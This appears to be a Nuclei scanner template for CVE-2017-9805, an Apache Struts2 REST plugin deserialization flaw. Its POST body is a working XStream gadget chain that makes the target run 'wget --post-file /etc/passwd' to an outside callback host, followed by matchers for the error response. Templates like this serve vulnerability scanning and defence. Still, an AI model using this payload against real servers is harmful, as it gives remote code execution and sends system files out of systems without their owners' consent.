id: CVE-2017-9805

info:
  name: Apache Struts2 S2-052 - Remote Code Execution
  author: pikpikcu
  severity: high
  description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
    - https://struts.apache.org/docs/s2-052.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9805
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-9805
    cwe-id: CWE-502
  tags: cve,cve2017,apache,rce,struts,kev

requests:
  - method: POST
    path:
      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
      - "{{BaseURL}}/orders/3"
    headers:
      Content-Type: application/xml
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="java.lang.ProcessBuilder">
                            <command>
                              <string>wget</string>
                              <string>--post-file</string>
                              <string>/etc/passwd</string>
                    <string>{{interactsh-url}}</string>
                            </command>
                            <redirectErrorStream>false</redirectErrorStream>
                          </next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                          </method>
                          <name>asdasd</name>
                        </filter>
                        <next class="string">asdasd</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer></ibuffer>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "Debugging information"
          - "com.thoughtworks.xstream.converters.collections.MapConverter"
        condition: and

      - type: status
        status:
          - 500

# Enhanced by mp on 2022/04/20